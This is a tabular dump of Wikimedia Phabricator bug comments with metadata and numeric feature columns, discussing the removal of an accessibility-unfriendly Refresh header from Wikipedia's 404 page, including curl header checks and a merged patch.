Eh, what?",,,1331659506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,0.7142857142857143,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Eh, what?"
37052,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The 404 page used to have a meta-refresh tag. Now it apparently has a Refresh HTTP header:

---
mzmcbride@gonzo:~$ curl -I ""http://en.wikipedia.org/wfhsdklfjsdklfj""
HTTP/1.0 404 Not Found
Date: Thu, 08 Mar 2012 04:23:19 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wfhsdklfjsdklfj
Refresh: 5; url=http://en.wikipedia.org/wiki/wfhsdklfjsdklfj
Content-Length: 5091
Content-Type: text/html; charset=utf-8
Age: 166
X-Cache: HIT from cp1019.eqiad.wmnet
X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128
X-Cache: MISS from cp1008.eqiad.wmnet
X-Cache-Lookup: MISS from cp1008.eqiad.wmnet:80
Connection: close
---

Auto-refreshes/auto-redirects like this are generally considered terrible from an accessibility standpoint. This header should simply be removed.

This is kind of related to bug 17316, but not really.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54357",Medium,50.0,1331180880,1440614232.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-pxyl4x4gm47myo5embc7,task_description,resolved,True,c2,1,True,False,False,-77,True,0.0,0.0,0.0,1.0,0.6666666666666666,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,3.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,12.666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,17.333333333333332,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,3.0,0.0,0.3333333333333333,3.6666666666666665,13.666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8331377151799693,0.6302816901408451,"The 404 page used to have a meta-refresh tag. Now it apparently has a Refresh HTTP header:

---
mzmcbride@gonzo:~$ curl -I ""URL
HTTP/1.0 404 Not Found
Date: Thu, 08 Mar 2012 04:23:19 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wfhsdklfjsdklfj
Refresh: 5; url=URL
Content-Length: 5091
Content-Type: text/html; charset=utf-8
Age: 166
X-Cache: HIT from cp1019.eqiad.wmnet
X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128
X-Cache: MISS from cp1008.eqiad.wmnet
X-Cache-Lookup: MISS from cp1008.eqiad.wmnet:80
Connection: close
---

Auto-refreshes/auto-redirects like this are generally considered terrible from an accessibility standpoint. This header should simply be removed.

This is kind of related to bug 17316, but not really.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
515453,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The goal of the delayed redirect was to be annoying to the reader (so he doesn't ""learn"" not to type ""/wiki/"") while being good enough to do what most people wanted. It's suboptimal that your granny didn't have enough time to read (and understand!) the error message. But I worry now if she will be kept wait on that page and do nothing.

Perhaps we can get some stats of root 404s not followed by another page view? (not easy to gather, I know…)
",,,1440633924,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,1.0,0.0,0.0,1.0,3.5,4.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.5,8.5,1.0,3.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,3.0,3.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,5.0,2.0,3.0,5.5,0.0,0.0,1.0,0.0,8.5,0.0,0.0,0.0,5.5,8.5,0.0,1.0,2.0,0.0,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.4433962264150946,0.839622641509434,"The goal of the delayed redirect was to be annoying to the reader (so he doesn't ""learn"" not to type ""/wiki/"") while being good enough to do what most people wanted. It's suboptimal that your granny didn't have enough time to read (and understand!) the error message. But I worry now if she will be kept wait on that page and do nothing.

Perhaps we can get some stats of root 404s not followed by another page view? (not easy to gather, I know…)
"
515172,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,">>! In T37052#1576416, @ori wrote:
> The guidelines from the W3C are emphatic on this point, so I don't think extensive discussion is necessary. I do think that the #design and #usability teams ought to have a look at the 404 page and make sure that the text and presentation of the 404 page is maximally helpful.

Filed as T110376.",,,1440614954,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.875,"QUOTE
QUOTE

Filed as T110376."
515162,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Since Discovery was requested to comment here, I'll state that I have no particularly strong opinion on this task one way or another. To me, the change seems sensible enough given that the user will barely have enough time to read the 404 page before being automatically redirected.",,,1440614181,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,9.0,15.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,9.0,6.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.433962264150943,0.8301886792452831,"Since Discovery was requested to comment here, I'll state that I have no particularly strong opinion on this task one way or another. To me, the change seems sensible enough given that the user will barely have enough time to read the 404 page before being automatically redirected."
515157,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Change 233664 merged by jenkins-bot:
Remove auto-redirection from 404 page.

[[https://gerrit.wikimedia.org/r/233664]]",,,1440613766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.608695652173913,0.8695652173913043,"Change 233664 merged by jenkins-bot:
Remove auto-redirection from 404 page.

[[GERRIT_URL]]"
515153,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The guidelines from the W3C are emphatic on this point, so I don't think extensive discussion is necessary. I do think that the #design and #usability teams ought to have a look at the 404 page and make sure that the text and presentation of the 404 page is maximally helpful.",,,1440613698,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,7.0,5.0,5.0,14.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9649122807017543,0.7368421052631579,"The guidelines from the W3C are emphatic on this point, so I don't think extensive discussion is necessary. I do think that the #design and #usability teams ought to have a look at the 404 page and make sure that the text and presentation of the 404 page is maximally helpful."
514404,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,Adding #Reading-Web and #Discovery in case someone from either of those two teams wants to comment,,,1440527231,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,103,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,10.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.15,0.95,Adding #Reading-Web and #Discovery in case someone from either of those two teams wants to comment
513963,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Change 233664 had a related patch set uploaded (by MZMcBride):
Remove auto-redirection from 404 page.

[[https://gerrit.wikimedia.org/r/233664]]
",,,1440475971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,103,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 233664 had a related patch set uploaded (by MZMcBride):
Remove auto-redirection from 404 page.

[[GERRIT_URL]]
"
512219,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The code that does this is in operations/mediawiki-config.git, specifically w/404.php. You could submit a patch.",,,1440149974,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,103,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,4.454545454545454,0.9545454545454546,"The code that does this is in operations/mediawiki-config.git, specifically w/404.php. You could submit a patch."
171479,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Did anyone trouble to check [[HTTP refresh]] for information regarding the reviling of them? It links to <http://www.w3.org/TR/WAI-WEBCONTENT/#gl-movement>, <http://www.w3.org/TR/WCAG10-HTML-TECHS/#meta-element>, and <http://www.w3.org/QA/Tips/reback>.",,,1393273629,,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,25,True,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,17.0,3.5517241379310347,0.7586206896551724,Did anyone trouble to check [[HTTP refresh]] for information regarding the reviling of them? It links to <URL <URL and <URL
171474,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Interestingly, if the URL path begins with ""w/"" (cf. bug 54357), no ""Refresh"" header is output. Compare:

---
mzmcbride@tools-login:~$ curl -I ""http://en.wikipedia.org/o""
HTTP/1.0 404 Not Found
Date: Tue, 24 Sep 2013 21:30:29 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/o
Refresh: 5; url=http://en.wikipedia.org/wiki/o
Content-Length: 2786
Content-Type: text/html; charset=utf-8
X-Cache: MISS from cp1007.eqiad.wmnet
X-Cache-Lookup: MISS from cp1007.eqiad.wmnet:3128
X-Cache: MISS from cp1017.eqiad.wmnet
X-Cache-Lookup: MISS from cp1017.eqiad.wmnet:80
Connection: close
---

Here we see the ""Refresh"" header, confirming comment 0.

Compare to:

---
mzmcbride@tools-login:~$ curl -I ""http://en.wikipedia.org/w/o""
HTTP/1.0 404 Not Found
Date: Tue, 24 Sep 2013 21:25:25 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=https:// serv=en.wikipedia.org loc=/w/o
Content-Length: 2755
Content-Type: text/html; charset=utf-8
Age: 327
X-Cache: HIT from cp1020.eqiad.wmnet
X-Cache-Lookup: HIT from cp1020.eqiad.wmnet:3128
X-Cache: MISS from cp1005.eqiad.wmnet
X-Cache-Lookup: MISS from cp1005.eqiad.wmnet:80
Connection: close
---

No ""Refresh"" header.",,,1380058286,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.5,3.75,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.25,1.0,3.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.75,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.25,21.75,0.25,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.75,0.0,0.25,3.0,21.5,0.0,2.75,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,3.650877192982456,0.5937719298245614,"Interestingly, if the URL path begins with ""w/"" (cf. bug 54357), no ""Refresh"" header is output. Compare:

---
mzmcbride@tools-login:~$ curl -I ""URL
HTTP/1.0 404 Not Found
Date: Tue, 24 Sep 2013 21:30:29 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/o
Refresh: 5; url=URL
Content-Length: 2786
Content-Type: text/html; charset=utf-8
X-Cache: MISS from cp1007.eqiad.wmnet
X-Cache-Lookup: MISS from cp1007.eqiad.wmnet:3128
X-Cache: MISS from cp1017.eqiad.wmnet
X-Cache-Lookup: MISS from cp1017.eqiad.wmnet:80
Connection: close
---

Here we see the ""Refresh"" header, confirming comment 0.

Compare to:

---
mzmcbride@tools-login:~$ curl -I ""URL
HTTP/1.0 404 Not Found
Date: Tue, 24 Sep 2013 21:25:25 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=https:// serv=en.wikipedia.org loc=/w/o
Content-Length: 2755
Content-Type: text/html; charset=utf-8
Age: 327
X-Cache: HIT from cp1020.eqiad.wmnet
X-Cache-Lookup: HIT from cp1020.eqiad.wmnet:3128
X-Cache: MISS from cp1005.eqiad.wmnet
X-Cache-Lookup: MISS from cp1005.eqiad.wmnet:80
Connection: close
---

No ""Refresh"" header."
171472,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #5)
> That guideline says not to use meta refresh in place of HTTP redirect.
> 
> ie: A redirect page with nothing on it but a meta redirect and text saying the
> user will be redirected.
> 
> This isn't a server redirect replacement. This is a 404 page that is intended
> as a 404 page and includes a meta redirect to make a guess of where a user
> 'might' want to go.

Except for what percent of users who aren't able to read the error page before being auto-redirected?

The goal of the guideline was to clarify that redirects should be automatic or not, as browser control over meta-refresh tags (delayed redirects) wasn't (and still isn't) feasible. Even browsers with the ability to disable meta-refresh tags use such an obscure system that it's limited to only power-users. And it's exactly the opposite kind of user who needs to have the page displayed for a longer period of time usually.

Auto-redirects are bad for accessibility. Providing a link to the possible intended target (the ""guess,"" as you call it) is completely sufficient here, isn't it?",,,1331782447,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-76,True,0.0,0.0,0.5,0.0,2.5,6.5,2.5,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,6.5,13.0,0.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,17.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,4.5,7.5,1.5,1.5,6.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,3.0,13.0,3.0,1.0,1.0,0.0,3.0,0.0,1.5,1.5,0.0,0.5,0.5,0.0,0.0,3.77906976744186,0.7151162790697674,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Except for what percent of users who aren't able to read the error page before being auto-redirected?

The goal of the guideline was to clarify that redirects should be automatic or not, as browser control over meta-refresh tags (delayed redirects) wasn't (and still isn't) feasible. Even browsers with the ability to disable meta-refresh tags use such an obscure system that it's limited to only power-users. And it's exactly the opposite kind of user who needs to have the page displayed for a longer period of time usually.

Auto-redirects are bad for accessibility. Providing a link to the possible intended target (the ""guess,"" as you call it) is completely sufficient here, isn't it?"
171470,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"That guideline says not to use meta refresh in place of HTTP redirect.

ie: A redirect page with nothing on it but a meta redirect and text saying the user will be redirected.

This isn't a server redirect replacement. This is a 404 page that is intended as a 404 page and includes a meta redirect to make a guess of where a user 'might' want to go.


Personally I want to eventually handle 404's internally within MediaWiki.",,,1331781780,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,8.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,16.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,10.0,4.0,9.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,2.0,12.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,9.0,0.0,1.0,0.0,0.0,1.0,3.857142857142857,0.6483516483516484,"That guideline says not to use meta refresh in place of HTTP redirect.

ie: A redirect page with nothing on it but a meta redirect and text saying the user will be redirected.

This isn't a server redirect replacement. This is a 404 page that is intended as a 404 page and includes a meta redirect to make a guess of where a user 'might' want to go.


Personally I want to eventually handle 404's internally within MediaWiki."
171468,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #3)
> My point is that those guidelines are needed to resolve this problem.  At the
> very least, we should have the guidelines so anyone can verify the above
> assertions.

* https://en.wikipedia.org/w/index.php?oldid=480977530#Redirects
* http://www.w3.org/TR/1999/WD-WAI-PAGEAUTH-19990226/wai-pageauth.html#tech-no-single-refresh
* http://www.w3.org/TR/1999/WD-WAI-PAGEAUTH-19990226/wai-pageauth-tech.html#tech-no-single-refresh

I don't really think it's necessary to re-debate what was properly decided (and deprecated) over ten years ago, but if someone would like to on this bug, I'm prepared.",,,1331778068,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-76,True,0.0,2.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,3.0,0.0,5.0,13.0,6.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0952380952380953,0.7301587301587301,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

* URL
* URL
* URL

I don't really think it's necessary to re-debate what was properly decided (and deprecated) over ten years ago, but if someone would like to on this bug, I'm prepared."
171465,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #2)
> (In reply to comment #1)
> > Neither of you pointed to the applicable guidelines.
> 
> What's your point?

My point is that those guidelines are needed to resolve this problem.  At the very least, we should have the guidelines so anyone can verify the above assertions.",,,1331771680,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-76,True,0.0,2.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,14.0,4.0,0.0,10.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.693877551020408,0.7755102040816326,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

My point is that those guidelines are needed to resolve this problem.  At the very least, we should have the guidelines so anyone can verify the above assertions."
171462,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #1)
> Neither of you pointed to the applicable guidelines.

What's your point?",,,1331587862,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"(In reply to comment #1)
QUOTE

What's your point?"
171458,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Bug 17316 says

> * It has a meta refresh on the client-side, which is pretty much universally
> discouraged for accessibility purposes;

You say

> Auto-refreshes/auto-redirects like this are generally considered terrible from
> an accessibility standpoint. This header should simply be removed.

